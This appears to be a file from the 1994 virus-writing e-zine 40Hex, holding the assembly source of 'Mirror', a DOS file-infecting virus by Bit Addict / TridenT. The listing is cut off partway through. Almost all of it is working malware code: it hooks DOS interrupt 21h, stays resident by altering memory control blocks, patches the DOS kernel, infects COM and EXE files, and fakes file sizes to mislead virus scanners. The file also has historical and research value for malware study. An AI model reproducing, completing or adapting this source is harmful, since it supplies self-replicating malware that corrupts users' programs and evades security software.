home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / 40HEX-13.ZIP / 40HEX-13.005 < prev    next >
Encoding:
Text File  |  1994-05-29  |  74.1 KB  |  2,142 lines

  1. 40Hex Number 13 Volume 4 Issue 1                                      File 005
  2.  
  3. 8<------------<mirror.asm>--------------------------------------------------->8
  4. ;*****************************************************************************;
  5. ;                                                                             ;
  6. ; Mirror:                                                                     ;
  7. ;                                                                             ;
  8. ; Mirror is the reverse of Stealth techniques. This virus doesn't hide the    ;
  9. ; virus, but but let the scanner think every program is infected by the       ;
  10. ; virus. The virus is also made to work with every exe file that uses         ;
  11. ; internal overlays, by making all running programs stealth.                  ;
  12. ;                                                                             ;
  13. ;*****************************************************************************;
  14.  
  15. code segment public 'code'
  16.                 assume  cs:code, ds:code, es:code
  17.                 org     100h
  18.  
  19. VirusTop        equ     $
  20. VirusSize       equ     (VirusEnd - $)
  21. MemorySize      equ     (MemoryEnd - $ + VirusSize)
  22.  
  23. EntryPoint:     mov     dx,ds
  24.                 call    ExeMain
  25.  
  26. Relocate        equ     ($ - VirusTop)
  27. ComExe          equ     byte ptr [$ - VirusTop - 2]
  28. ExeID           equ     (ExeMain - $)
  29. ComID           equ     (ComMain - $)
  30.  
  31. HeaderLength    equ     1ah
  32. TheHeader       equ     $
  33. Header          equ     word  ptr [$ - VirusTop]
  34. JumpOpcode      equ     byte  ptr [$ - VirusTop]
  35. JumpDisp        equ     word  ptr [$ - VirusTop + 01h]
  36. PartPage        equ     word  ptr [$ - VirusTop + 02h]
  37. PageCount       equ     word  ptr [$ - VirusTop + 04h]
  38. ReloCount       equ     word  ptr [$ - VirusTop + 06h]
  39. HeaderSize      equ     word  ptr [$ - VirusTop + 08h]
  40. MinMem          equ     word  ptr [$ - VirusTop + 0ah]
  41. MaxMem          equ     word  ptr [$ - VirusTop + 0ch]
  42. ExeSS           equ     word  ptr [$ - VirusTop + 0eh]
  43. ExeSP           equ     word  ptr [$ - VirusTop + 10h]
  44. Signature       equ     word  ptr [$ - VirusTop + 12h]
  45. ExeEntry        equ     dword ptr [$ - VirusTop + 14h]
  46. ExeIP           equ     word  ptr [$ - VirusTop + 14h]
  47. ExeCS           equ     word  ptr [$ - VirusTop + 16h]
  48. RelocationOfs   equ     word  ptr [$ - VirusTop + 18h]
  49.  
  50.                 dw      "ZM",6 dup(0),0,0ffeh,?,0,-10h,0
  51.  
  52. VirusID         equ     byte ptr [$ - VirusTop]
  53.                 db      '[ Mirror: Bit Addict / TridenT ]'
  54.  
  55. GotoNewCS:      db      0eah
  56.                 dw      Continue - VirusTop,?
  57. NewCodeSegment  equ     word ptr [$ - VirusTop - 2]
  58.  
  59. ExecuteProg:    mov     ax,1234h
  60. SavedPSP        equ     word ptr [$ - VirusTop - 2]
  61.                 mov     ds,ax
  62.                 mov     es,ax
  63.                 mov     ax,1234h
  64. SavedRegAX      equ     word ptr [$ - VirusTop - 2]
  65.                 mov     dx,1234h
  66. InitExeSS       equ     word ptr [$ - VirusTop - 2]
  67.                 mov     ss,dx
  68.                 mov     sp,1234h
  69. InitExeSP       equ     word ptr [$ - VirusTop - 2]
  70.                 db      0eah,?,?,?,?
  71. InitExeIP       equ     word ptr [$ - VirusTop - 4]
  72. InitExeCS       equ     word ptr [$ - VirusTop - 2]
  73.  
  74. Continue:       mov     ss,cs:InitExeSS
  75.                 mov     sp,cs:InitExeSP
  76.                 sti
  77.                 mov     ax,1234h
  78. PatchSegment    equ     word ptr [$ - VirusTop - 2]
  79.                 mov     bx,1234h
  80. PatchOffset     equ     word ptr [$ - VirusTop - 2]
  81.                 mov     ds,ax
  82.                 mov     byte ptr ds:[bx-1],9ah
  83.                 mov     word ptr ds:[bx],(Dos - VirusTop)
  84.                 mov     word ptr ds:[bx+2],cs
  85.                 mov     ah,3fh
  86.                 xor     bx,bx
  87.                 mov     cx,1
  88.                 mov     dx,-1
  89.                 int     21h
  90.                 mov     ah,40h
  91.                 inc     bx
  92.                 int     21h
  93.                 mov     ds,cs:SavedPSP
  94.                 mov     ax,ds:[2ch]
  95.                 mov     ch,-1
  96.                 xor     di,di
  97.                 mov     es,ax
  98.                 push    cs
  99.                 pop     ds
  100. SearchComspec:  or      ax,ax
  101.                 je      ExecuteProg
  102.                 mov     cx,8
  103.                 mov     dx,di
  104.                 mov     si,offset Comspec
  105.                 cld
  106.                 repe    cmpsb
  107.                 xchg    dx,di
  108.                 je      ComspecFound
  109.                 xor     ax,ax
  110.                 mov     ch,0ffh
  111.                 repne   scasb
  112.                 mov     al,es:[di]
  113.                 jmp     SearchComspec
  114. ComspecFound:   push    es
  115.                 pop     ds
  116.                 mov     ax,3d00h
  117.                 int     21h
  118.                 jc      ExecuteProg
  119.                 xchg    ax,bx
  120.                 mov     ah,3fh
  121.                 xor     cx,cx
  122.                 mov     dx,-1
  123.                 int     21h
  124.                 mov     ah,3eh
  125.                 int     21h
  126.                 jmp     ExecuteProg
  127.  
  128. Comspec         equ     byte ptr [$ - VirusTop]
  129.                 db      'COMSPEC='
  130.  
  131. ComMain:        pop     si
  132.                 mov     cx,HeaderLength
  133.                 mov     di,100h
  134.                 mov     ds:InitExeSS[si - Relocate],ss
  135.                 mov     ds:InitExeSP[si - Relocate],sp
  136.                 mov     ds:InitExeCS[si - Relocate],cs
  137.                 mov     ds:InitExeIP[si - Relocate],di
  138.                 cld
  139.                 rep     movsb
  140.                 sub     si,Relocate + HeaderLength
  141.                 jmp     short Main
  142.  
  143. ExeMain:        pop     si
  144.                 sub     si,Relocate
  145.                 mov     bx,ds
  146.                 add     bx,10h
  147.                 mov     cx,bx
  148.                 push    cs
  149.                 pop     ds
  150.                 add     bx,ds:ExeSS[si]
  151.                 mov     ds:InitExeSS[si],bx
  152.                 mov     bx,ds:ExeSP[si]
  153.                 mov     ds:InitExeSP[si],bx
  154.                 add     cx,ds:ExeCS[si]
  155.                 mov     ds:InitExeCS[si],cx
  156.                 mov     cx,ds:ExeIP[si]
  157.                 mov     ds:InitExeIP[si],cx
  158. Main:           mov     ds:SavedPSP[si],dx
  159.                 mov     ds:SavedRegAX[si],ax
  160.                 mov     ah,34h
  161.                 int     21h
  162.                 dec     bx
  163.                 mov     ds:DosSDAofs[si],bx
  164.                 mov     ds:DosSDAseg[si],es
  165.                 mov     ah,52h
  166.                 int     21h
  167.                 mov     ax,es
  168.                 cmp     ax,ds:DosSDAseg[si]
  169.                 jne     CannotInstall
  170.                 mov     ax,es:[bx+4]
  171.                 mov     ds:DosSFTofs[si],ax
  172.                 mov     ax,es:[bx+6]
  173.                 mov     ds:DosSFTseg[si],ax
  174.                 mov     ax,es:[bx-2]
  175.                 mov     ds:FirstMCB[si],ax
  176.                 sub     ax,ds:DosSDAseg[si]
  177.                 mov     cl,4
  178.                 shl     ax,cl
  179.                 xchg    ax,cx
  180.                 xor     di,di
  181.                 jmp     short SearchOpcode
  182. CannotInstall:  jmp     ExecuteProg
  183. SearchHMA:      or      di,di
  184.                 je      CannotInstall
  185.                 mov     ax,-1
  186.                 mov     es,ax
  187.                 mov     cx,-10h
  188.                 mov     di,10h
  189. SearchOpcode:   mov     al,36h
  190.                 repne   scasb
  191.                 jne     SearchHMA
  192.                 cmp     word ptr es:[di],16ffh
  193.                 jne     SearchOpcode
  194.                 mov     ax,es:[di+2]
  195.                 mov     bx,351eh
  196.                 cmp     ax,57ch
  197.                 je      OpcodeFound
  198.                 mov     bx,3b84h
  199.                 cmp     ax,5eah
  200.                 jne     SearchOpcode
  201. OpcodeFound:    mov     ds:JumpVar[si],ax
  202.                 mov     ds:DosSFTsize[si],bh
  203.                 mov     ds:StackPtr[si],bl
  204.                 mov     ds:PatchOffset[si],di
  205.                 mov     ds:PatchSegment[si],es
  206.                 mov     al,0cbh
  207.                 repne   scasb
  208.                 jne     CannotInstall
  209.                 dec     di
  210.                 mov     ds:ReturnOpcodeOfs[si],di
  211.                 mov     ds:ReturnOpcodeSeg[si],es
  212.                 mov     ax,ds:FirstMCB[si]
  213.                 xor     bx,bx
  214.                 dec     dx
  215. SearchBlock:    mov     ds,ax
  216.                 cmp     word ptr ds:[bx+1],bx
  217.                 jne     NotFree
  218.                 cmp     word ptr ds:[bx+3],(MemorySize + 0fh) / 10h
  219.                 jb      NotFree
  220.                 mov     dx,ax
  221. NotFree:        inc     ax
  222.                 add     ax,ds:[bx+3]
  223.                 cmp     byte ptr ds:[bx],"M"
  224.                 je      SearchBlock
  225.                 mov     ds,dx
  226.                 mov     cx,(MemorySize + 0fh) / 10h
  227.                 add     dx,ds:[bx+3]
  228.                 sub     dx,cx
  229.                 cmp     bx,ds:[bx+1]
  230.                 je      FreeBlock
  231.                 sbb     ds:[bx+3],cx
  232.                 mov     al,"M"
  233.                 xchg    al,ds:[bx]
  234.                 mov     ds,dx
  235.                 mov     ds:[bx],al
  236.                 mov     ds:[bx+1],bx
  237.                 mov     ds:[bx+3],cx
  238. FreeBlock:      inc     dx
  239.                 mov     es,dx
  240.                 push    cs
  241.                 pop     ds
  242.                 std
  243.                 mov     ax,-1
  244.                 mov     ds:LastPSP[si],ax
  245.                 mov     ds:NewCodeSegment[si],dx
  246.                 cli
  247.                 mov     cx,(MemoryEnd - VirusEnd)
  248.                 mov     di,offset MemoryEnd - VirusTop - 1
  249.                 rep     stosb
  250.                 mov     cx,(VirusEnd - VirusTop)
  251.                 add     si,offset VirusEnd - VirusTop - 1
  252.                 rep     movsb
  253.                 jmp     GotoNewCS
  254.  
  255. ;*****************************************************************************;
  256. ;                                                                             ;
  257. ; New dos entry point                                                         ;
  258. ;                                                                             ;
  259. ;*****************************************************************************;
  260.  
  261. dbw             macro   bval, wval
  262.                 db      bval
  263.                 dw      wval - VirusTop
  264.                 endm
  265.  
  266. Functions       equ     byte ptr [$ - VirusTop]
  267.                 dbw     11h, FindFCB
  268.                 dbw     12h, FindFCB
  269.                 dbw     3ch, CheckFileTable
  270.                 dbw     3dh, Open
  271.                 dbw     3fh, Read
  272.                 dbw     40h, Write
  273.                 dbw     42h, Seek
  274.                 dbw     45h, CheckFileTable
  275.                 dbw     48h, ShowBlock
  276.                 dbw     4ah, ShowBlock
  277.                 dbw     4bh, ShowBlock
  278.                 dbw     4eh, FindFile
  279.                 dbw     4fh, FindFile
  280.                 dbw     5ah, CheckFileTable
  281.                 dbw     5bh, CheckFileTable
  282.                 dbw     6ch, ExtOpen
  283. LastFunction    equ     byte ptr [$ - VirusTop]
  284.                 dbw     -1h, DoNothing
  285.  
  286. Dos:            pop     cs:DosMainOfs
  287.                 pop     cs:DosMainSeg
  288.                 push    bx
  289.                 push    ds
  290.                 push    cs
  291.                 pop     ds
  292.                 mov     bx,offset Functions - 3
  293. NextFunction:   add     bx,3
  294.                 cmp     ah,[bx]
  295.                 je      RightFunction
  296.                 ja      NextFunction
  297.                 mov     bx,offset LastFunction
  298. RightFunction:  push    bp
  299.                 mov     bp,sp
  300.                 mov     bx,[bx+1]
  301.                 xchg    bx,[bp+4]
  302.                 pop     bp
  303.                 push    es
  304.                 push    ax
  305.                 push    bx
  306.                 push    cx
  307.                 push    dx
  308.                 push    si
  309.                 push    di
  310.                 mov     ax,ss:[1234h]
  311. JumpVar         equ     word ptr [$ - VirusTop - 2]
  312.                 mov     cs:DosFunctionOfs,ax
  313.                 mov     ax,cs:DosMainSeg
  314.                 mov     cs:DosFunctionSeg,ax
  315.                 call    GetPSP
  316.                 cmp     word ptr ds:[0],20cdh
  317.                 jne     IllegalPSP
  318.                 mov     ax,ds
  319.                 cmp     ax,0c000h
  320.                 jae     IllegalPSP
  321.                 cmp     ax,1234h
  322. LastPSP         equ     word ptr [$ - VirusTop - 2]
  323.                 jne     OtherPSP
  324. IllegalPSP:     jmp     SamePSP
  325. OtherPSP:       push    cs
  326.                 pop     ds
  327.                 push    cs
  328.                 pop     es
  329.                 mov     ds:LastPSP,ax
  330.                 cld
  331.                 mov     bx,-1
  332.                 mov     cx,8
  333.                 mov     di,offset StealthNames - 8
  334. NextPSP:        add     di,8
  335.                 scasw
  336.                 ja      DoNotClear
  337.                 mov     ds:[di-2],bx
  338. DoNotClear:     loop    NextPSP
  339.                 mov     cl,7
  340.                 mov     di,offset StealthNames - 10
  341. FindEmptyName:  add     di,10
  342.                 cmp     ds:[di],bx
  343.                 je      EmptyName
  344.                 cmp     ds:[di],ax
  345.                 loopne  FindEmptyName
  346. EmptyName:      stosw
  347.                 mov     si,di
  348.                 dec     ax
  349.                 cmp     ds:DosSFTsize,35h
  350.                 mov     ds,ax
  351.                 je      DosVersion3
  352.                 mov     di,8
  353.                 jmp     BeginOfName
  354. DosVersion3:    mov     es,ds:[3ch]
  355.                 push    es
  356.                 pop     ds
  357.                 xor     ax,ax
  358.                 mov     ch,-1
  359.                 xor     di,di
  360. NotEnd:         repne   scasb
  361.                 scasb
  362.                 jne     NotEnd
  363.                 inc     di
  364.                 inc     di
  365.                 mov     bx,di
  366.                 repne   scasb
  367. NextPathChar:   mov     al,ds:[di-2]
  368.                 dec     di
  369.                 cmp     al,"\"
  370.                 je      BeginOfName
  371.                 cmp     al,":"
  372.                 je      BeginOfName
  373.                 cmp     di,bx
  374.                 ja      NextPathChar
  375. BeginOfName:    push    cs
  376.                 pop     es
  377.                 mov     cx,8
  378.                 xchg    si,di
  379. NextNameChar:   lodsb
  380.                 cmp     al,"."
  381.                 je      BlankIt
  382.                 cmp     al," "
  383.                 jbe     BlankIt
  384.                 stosb
  385.                 loop    NextNameChar
  386. BlankIt:        mov     al," "
  387.                 rep     stosb
  388. SamePSP:        call    FindMCB
  389.                 jne     Hide_4
  390.                 cmp     ds:[bx+1],bx
  391.                 je      Hide_1
  392.                 mov     dx,ax
  393. Hide_1:         push    dx
  394.                 mov     ds,ax
  395.                 mov     ds:[bx+1],bx
  396.                 mov     cx,-1
  397.                 mov     ds,dx
  398. Hide_2:         mov     ax,ds:[bx+3]
  399.                 inc     ax
  400.                 add     cx,ax
  401.                 add     dx,ax
  402.                 mov     al,ds:[bx]
  403.                 cmp     al,"M"
  404.                 jne     Hide_3
  405.                 mov     ds,dx
  406.                 cmp     ds:[bx+1],bx
  407.                 je      Hide_2
  408. Hide_3:         pop     ds
  409.                 mov     ds:[bx],al
  410.                 mov     ds:[bx+3],cx
  411. Hide_4:         pop     di
  412.                 pop     si
  413.                 pop     dx
  414.                 pop     cx
  415.                 pop     bx
  416.                 pop     ax
  417.                 pop     es
  418.                 pop     ds
  419.                 ret
  420.  
  421. ;*****************************************************************************;
  422. ;                                                                             ;
  423. ; Show memory block to prevent overwriting by another program                 ;
  424. ;                                                                             ;
  425. ;*****************************************************************************;
  426.  
  427. ShowBlock:      push    ax
  428.                 push    bx
  429.                 push    cx
  430.                 push    dx
  431.                 push    ds
  432. Show_1:         call    FindMCB
  433.                 je      Show_2
  434.                 mov     ax,cx
  435.                 sub     cx,dx
  436.                 mov     dx,ds:[bx+3]
  437.                 sub     dx,cx
  438.                 dec     cx
  439.                 call    SetMCB
  440. Show_2:         mov     ds,ax
  441.                 mov     ds:[bx+1],cs
  442.                 mov     cx,(MemorySize + 0fh) / 10h
  443.                 mov     dx,ds:[bx+3]
  444.                 sub     dx,cx
  445.                 jbe     Show_3
  446.                 call    SetMCB
  447. Show_3:         pop     ds
  448.                 pop     dx
  449.                 pop     cx
  450.                 pop     bx
  451.                 pop     ax
  452.                 jmp     DoNothing
  453.  
  454. ;*****************************************************************************;
  455. ;                                                                             ;
  456. ; Directory search                                                            ;
  457. ;                                                                             ;
  458. ;*****************************************************************************;
  459.  
  460. CheckExtension: xor     ax,ax
  461.                 mov     ch,-1
  462.                 cld
  463.                 repne   scasb
  464. CheckExt:       mov     ax,es:[di-4]
  465.                 or      ax,2020h
  466.                 cmp     ax,"xe"
  467.                 je      CheckLastChar
  468.                 cmp     ax,"oc"
  469.                 jne     NotExecFile
  470.                 mov     al,"m"
  471. CheckLastChar:  mov     ah,es:[di-2]
  472.                 or      ah,20h
  473.                 cmp     ah,al
  474. NotExecFile:    ret
  475.  
  476. FindFile:       call    DosCall
  477.                 jc      FindFailed
  478.                 push    ax
  479.                 call    GetDTA
  480.                 push    di
  481.                 add     di,1eh
  482.                 call    CheckExtension
  483.                 pop     di
  484.                 jne     WrongFile
  485. RightFile:      mov     ax,0ddh
  486.                 sub     al,es:[di+1ah]
  487.                 jz      WrongFile
  488.                 sub     al,(VirusSize + 20h) and 0ffh
  489.                 add     ax,(VirusSize + 20h)
  490.                 add     word ptr es:[di+1ah],ax
  491.                 adc     word ptr es:[di+1ch],0
  492. WrongFile:      pop     ax
  493. FindFailed:     jmp     DosMain
  494.  
  495. FindFCB:        call    DosCall
  496.                 cmp     al,0
  497.                 jne     FindFailed
  498.                 push    ax
  499.                 call    GetDTA
  500.                 cmp     byte ptr es:[di],-1
  501.                 jne     NotExtendedFCB
  502.                 add     di,7
  503. NotExtendedFCB: add     di,0dh
  504.                 call    CheckExt
  505.                 jne     WrongFile
  506.                 sub     di,0ah
  507.                 jmp     RightFile
  508.  
  509. ;*****************************************************************************;
  510. ;                                                                             ;
  511. ; Seeking to the end of a mirrored file                                       ;
  512. ;                                                                             ;
  513. ;*****************************************************************************;
  514.  
  515. Seek:           cmp     al,2
  516.                 jne     DoSeek
  517.                 call    FindHandle
  518.                 jnz     DoSeek
  519.                 test    byte ptr cs:[si+6],80h
  520.                 mov     si,cs:TotalSize
  521.                 jnz     SeekStealth
  522. SeekMirror:     add     dx,si
  523.                 adc     cx,0
  524.                 jmp     short DoSeek
  525. SeekStealth:    sub     dx,si
  526.                 sbb     cx,0
  527. DoSeek:         jmp     DoNothing
  528.  
  529. ;*****************************************************************************;
  530. ;                                                                             ;
  531. ; Routines to call the orginal dos code                                       ;
  532. ;                                                                             ;
  533. ;*****************************************************************************;
  534.  
  535. StackFrame:     db      36h,0c5h,36h,?,5
  536. StackPtr        equ     byte ptr [$ - VirusTop - 2]
  537.                 ret
  538.  
  539. WriteCall:      push    ax
  540.                 mov     ax,cs:WriteFunction
  541.                 jmp     short ReadWriteCall
  542. ReadCall:       push    ax
  543.                 mov     ax,cs:ReadFunction
  544. ReadWriteCall:  mov     cs:DosFunctionOfs,ax
  545.                 pop     ax
  546. DosCall:        push    cs
  547.                 call    JumpToFunction
  548.                 mov     ah,ds:[si+22]
  549.                 sahf
  550.                 mov     ah,ds:[si+1]
  551.                 mov     bx,ds:[si+2]
  552.                 mov     cx,ds:[si+4]
  553.                 mov     dx,ds:[si+6]
  554.                 ret
  555.  
  556. DosMain:        db      0eah
  557.                 dd      ?
  558. DosMainOfs      equ     word ptr [$ - VirusTop - 4]
  559. DosMainSeg      equ     word ptr [$ - VirusTop - 2]
  560.  
  561. JumpToFunction: push    ax
  562.                 push    cx
  563.                 push    bp
  564.                 mov     bp,sp
  565.                 mov     ax,1234h
  566. ReturnOpcodeSeg equ     word ptr [$ - VirusTop - 2]
  567.                 sub     ax,cs:DosFunctionSeg
  568.                 mov     cl,4
  569.                 shl     ax,cl
  570.                 add     ax,1234h
  571. ReturnOpcodeOfs equ     word ptr [$ - VirusTop - 2]
  572.                 xchg    ax,ss:[bp+4]
  573.                 pop     bp
  574.                 pop     cx
  575.                 jmp     short DosFunction
  576.  
  577. DoNothing:      push    cs:DosMainOfs
  578. DosFunction:    db      0eah
  579.                 dw      ?,?,0a839h,0a89fh
  580. DosFunctionOfs  equ     word ptr [$ - VirusTop - 8]
  581. DosFunctionSeg  equ     word ptr [$ - VirusTop - 6]
  582. ReadFunction    equ     word ptr [$ - VirusTop - 4]
  583. WriteFunction   equ     word ptr [$ - VirusTop - 2]
  584.  
  585. ;*****************************************************************************;
  586. ;                                                                             ;
  587. ; Opening a mirrored file                                                     ;
  588. ;                                                                             ;
  589. ;*****************************************************************************;
  590.  
  591. ChkHandles:     push    ax
  592.                 push    bx
  593.                 push    cx
  594.                 push    si
  595.                 push    ds
  596.                 mov     bx,offset FileTable
  597.                 mov     cx,MaxFiles
  598. ChkNextHandle:  cmp     word ptr cs:[bx],-1
  599.                 je      ChkHandleOk
  600.                 mov     ax,cs:[bx]
  601.                 call    FindSFT
  602.                 cmp     word ptr ds:[si],0
  603.                 jne     ChkHandleOk
  604.                 mov     word ptr cs:[bx],-1
  605. ChkHandleOk:    add     bx,FileTableEntry
  606.                 loop    ChkNextHandle
  607.                 pop     ds
  608.                 pop     si
  609.                 pop     cx
  610.                 pop     bx
  611.                 pop     ax
  612.                 ret
  613.  
  614. CheckFileTable: call    ChkHandles
  615.                 jmp     DoNothing
  616.  
  617. ExtOpen:        call    ChkHandles
  618.                 or      al,al
  619.                 jnz     DoNothing
  620.                 call    DosCall
  621.                 jc      DosMain
  622.                 cmp     cl,1
  623.                 jne     DosMain
  624.                 jmp     OpenOk
  625. Open:           call    ChkHandles
  626.                 call    DosCall
  627.                 jc      DosMain
  628. OpenOk:         push    ds:[si+22]
  629.                 push    ax
  630.                 xchg    ax,bx
  631.                 call    GetSFTindex
  632.                 call    FindSFT
  633.                 test    byte ptr ds:[si+5],80h
  634.                 jnz     NotExecutable
  635.                 push    ds
  636.                 pop     es
  637.                 lea     di,[si+2ch]
  638.                 call    CheckExt
  639. NotExecutable:  jz      Executable
  640.                 jmp     DoNotInfect
  641. Executable:     pop     bx
  642.                 mov     cx,HeaderLength
  643.                 mov     dx,offset Header
  644.                 push    cs
  645.                 pop     ds
  646.                 push    bx
  647.                 call    ReadCall
  648.                 call    LastSFT
  649.                 mov     byte ptr ds:[si+15h],3ch
  650.                 pop     bx
  651.                 mov     cx,4
  652.                 mov     dx,offset NewExeOfs
  653.                 push    cs
  654.                 pop     ds
  655.                 push    bx
  656.                 call    ReadCall
  657.                 call    LastSFT
  658.                 mov     ax,ds:[si+11h]
  659.                 mov     cs:FileSizeL,ax
  660.                 mov     ax,ds:[si+13h]
  661.                 mov     cs:FileSizeH,ax
  662.                 push    cs
  663.                 pop     es
  664.                 mov     cx,8
  665.                 mov     di,offset StealthNames - 8
  666.                 cld
  667. NextName:       jcxz    NotStealth
  668.                 mov     ax,-1
  669.                 dec     cx
  670.                 add     di,8
  671.                 scasw
  672.                 je      NextName
  673.                 push    cx
  674.                 push    si
  675.                 push    di
  676.                 mov     cx,8
  677.                 add     si,20h
  678.                 repe    cmpsb
  679.                 pop     di
  680.                 pop     si
  681.                 pop     cx
  682.                 jne     NextName
  683.                 jmp     short StealthMode
  684. NotStealth:     cmp     byte ptr ds:[si+11h],0ddh
  685.                 je      DoNotInfect
  686.                 call    CalcImageSize
  687.                 cmp     ds:[si+13h],dx
  688.                 jb      DoNotInfect
  689.                 ja      FileSizeOk
  690.                 cmp     ds:[si+11h],ax
  691.                 jb      DoNotInfect
  692. FileSizeOk:     call    CalcImageSize
  693.                 mov     dx,0
  694.                 mov     si,offset Header
  695.                 jc      StoreFileInfo
  696.                 push    cs
  697.                 pop     ds
  698.                 cmp     ds:RelocationOfs,40h
  699.                 jb      StoreFileInfo
  700.                 cmp     ds:NewExeOfsL,dx
  701.                 jne     DoNotInfect
  702.                 cmp     ds:NewExeOfsH,dx
  703.                 jne     DoNotInfect
  704. StoreFileInfo:  push    si
  705.                 mov     bx,-1
  706.                 call    FindHandle
  707.                 mov     bx,si
  708.                 pop     si
  709.                 jne     DoNotInfect
  710.                 push    cs
  711.                 pop     ds
  712.                 mov     ds:[bx],1234h
  713. LastSFTindex    equ     word ptr [$ - VirusTop - 2]
  714.                 mov     ax,ds:FileSizeL
  715.                 mov     ds:[bx+2],ax
  716.                 mov     ax,ds:FileSizeH
  717.                 mov     ds:[bx+4],ax
  718.                 mov     ds:[bx+6],dl
  719.                 mov     cx,HeaderLength
  720.                 lea     di,[bx+7]
  721.                 cld
  722.                 rep     movsb
  723. DoNotInfect:    xor     ax,ax
  724.                 call    LastSFT
  725.                 mov     ds:[si+15h],ax
  726.                 mov     ds:[si+17h],ax
  727.                 call    StackFrame
  728.                 pop     ax
  729.                 mov     ds:[si],ax
  730.                 pop     ds:[si+22]
  731.                 jmp     DosMain
  732.  
  733. StealthMode:    cmp     byte ptr ds:[si+11h],0ddh
  734.                 jne     DoNotInfect
  735.                 call    CalcImageSize
  736.                 mov     cx,cs:Signature
  737.                 sub     ax,cx
  738.                 sbb     dx,0
  739.                 mov     ds:[si+15h],ax
  740.                 mov     ds:[si+17h],dx
  741.                 push    cs
  742.                 pop     ds
  743.                 sub     ds:FileSizeL,cx
  744.                 sbb     ds:FileSizeH,0
  745.                 cmp     dx,10h
  746.                 jae     DoNotInfect
  747.                 call    SplitImageSize
  748.                 call    CalcImageSize
  749.                 mov     cx,10h
  750.                 div     cx
  751.                 sub     dx,ds:ExeIP
  752.                 jne     DoNotInfect
  753.                 sub     ax,ds:HeaderSize
  754.                 sub     ax,ds:ExeCS
  755.                 jne     DoNotInfect
  756.                 pop     bx
  757.                 push    bx
  758.                 call    ReadVirus
  759.                 jne     DoNotInfect
  760.                 mov     dl,85h
  761.                 lea     si,ds:[di+Header-VirusID-20h]
  762.                 jmp     StoreFileInfo
  763.  
  764. GetSFTindex:    push    si
  765.                 push    ds
  766.                 call    GetPSP
  767.                 lea     ax,[bx+1]
  768.                 cmp     ds:[32h],ax
  769.                 jb      InvalidHandle
  770.                 lds     si,ds:[34h]
  771.                 mov     al,ds:[bx+si]
  772.                 sub     ah,ah
  773.                 mov     cs:LastSFTindex,ax
  774. InvalidHandle:  pop     ds
  775.                 pop     si
  776.                 ret
  777.  
  778. FindSFT:        mov     si,1234h
  779. DosSFTseg       equ     word ptr [$ - VirusTop - 2]
  780.                 mov     ds,si
  781.                 mov     si,1234h
  782. DosSFTofs       equ     word ptr [$ - VirusTop - 2]
  783. NextSFT:        cmp     ax,ds:[si+4]
  784.                 jb      RightSFT
  785.                 sub     ax,ds:[si+4]
  786.                 lds     si,ds:[si]
  787.                 jmp     short NextSFT
  788. RightSFT:       mov     ah,12h
  789. DosSFTsize      equ     byte ptr [$ - VirusTop - 1]
  790.                 mul     ah
  791.                 add     si,ax
  792.                 add     si,6
  793.                 mov     cs:LastSFTofs,si
  794.                 mov     cs:LastSFTseg,ds
  795. LastSFT:        mov     si,1234h
  796. LastSFTseg      equ     word ptr [$ - VirusTop - 2]
  797.                 mov     ds,si
  798.                 mov     si,1234h
  799. LastSFTofs      equ     word ptr [$ - VirusTop - 2]
  800.                 ret
  801.  
  802. GetDTA:         call    DosSDA
  803.                 les     di,ds:[si+0ch]
  804. DosSDA:         mov     si,1234h
  805. DosSDAseg       equ     word ptr [$ - VirusTop - 2]
  806.                 mov     ds,si
  807.                 mov     si,1234h
  808. DosSDAofs       equ     word ptr [$ - VirusTop - 2]
  809.                 ret
  810.  
  811. GetPSP:         call    DosSDA
  812.                 mov     ds,ds:[si+10h]
  813.                 ret
  814.  
  815. ;*****************************************************************************;
  816. ;                                                                             ;
  817. ; Reading from and writing to a mirrored file                                 ;
  818. ;                                                                             ;
  819. ;*****************************************************************************;
  820.  
  821. Read:           cmp     dx,-1
  822.                 jne     NotInfectCmd
  823.                 or      cx,cx
  824.                 jne     NotInfectCmd
  825.                 call    FindHandle
  826.                 jnz     AbortAction
  827.                 call    InfectFile
  828.                 jmp     short AbortAction
  829. NotInfectCmd:   push    ax
  830.                 mov     ax,cs:DosFunctionOfs
  831.                 mov     cs:ReadFunction,ax
  832.                 call    FindHandle
  833.                 jnz     RdOtherHandle
  834.                 mov     ah,40h
  835.                 or      ah,cs:[si+6]
  836.                 or      byte ptr cs:[si+6],1
  837.                 sahf
  838. RdOtherHandle:  pop     ax
  839.                 jnz     OtherHandle
  840.                 jns     _ReadMirror
  841.                 jmp     ReadStealth
  842.  
  843. Write:          push    ax
  844.                 mov     ax,cs:DosFunctionOfs
  845.                 mov     cs:WriteFunction,ax
  846.                 call    FindHandle
  847.                 jnz     WrOtherHandle
  848.                 mov     ah,40h
  849.                 or      ah,cs:[si+6]
  850.                 or      byte ptr cs:[si+6],4
  851.                 sahf
  852. WrOtherHandle:  pop     ax
  853.                 jnz     OtherHandle
  854.                 js      _WriteStealth
  855.                 jp      RemoveHandle
  856.                 jc      WriteMirror
  857.                 call    InfectFile
  858.                 jc      WriteMirror
  859. RemoveHandle:   call    FindHandle
  860.                 mov     word ptr cs:[si],-1
  861. ActionOk:       jmp     DoNothing
  862. OtherHandle:    cmp     bx,2
  863.                 jae     ActionOk
  864.                 cmp     dx,-1
  865.                 jne     ActionOk
  866. AbortAction:    jmp     DosMain
  867.  
  868. _WriteStealth:  jmp     WriteStealth
  869. _ReadMirror:    jmp     ReadMirror
  870. _Truncate:      jmp     Truncate
  871.  
  872. IllegalWrite:   mov     ax,5
  873.                 call    DosSDA
  874.                 mov     word ptr ds:[si+2],1ffh
  875.                 mov     word ptr ds:[si+4],ax
  876.                 mov     word ptr ds:[si+6],307h
  877.                 call    StackFrame
  878.                 mov     ds:[si],ax
  879.                 or      ds:[si+22],al
  880.                 jmp     DosMain
  881.  
  882. WriteMirror:    call    SplitCount
  883.                 jcxz    _Truncate
  884.                 call    CompareHeaders
  885.                 jne     IllegalWrite
  886.                 call    CompareViruses
  887.                 jne     IllegalWrite
  888.                 call    FindHandle
  889. ReadMirror:     call    SplitCount
  890.                 push    ds
  891.                 mov     ax,1234h
  892. VirusOffset     equ     word ptr [$ - VirusTop - 2]
  893.                 call    LastSFT
  894.                 sub     word ptr ds:[si+15h],ax
  895.                 sbb     word ptr ds:[si+17h],0
  896.                 pop     ds
  897.                 xor     ax,ax
  898.                 sub     cx,cs:VirusCount
  899.                 jcxz    ReadZero
  900.                 call    DosCall
  901. ReadZero:       pushf
  902.                 push    ax
  903.                 push    cs
  904.                 pop     ds
  905.                 mov     ax,ds:VirusCount
  906.                 add     ax,ds:VirusOffset
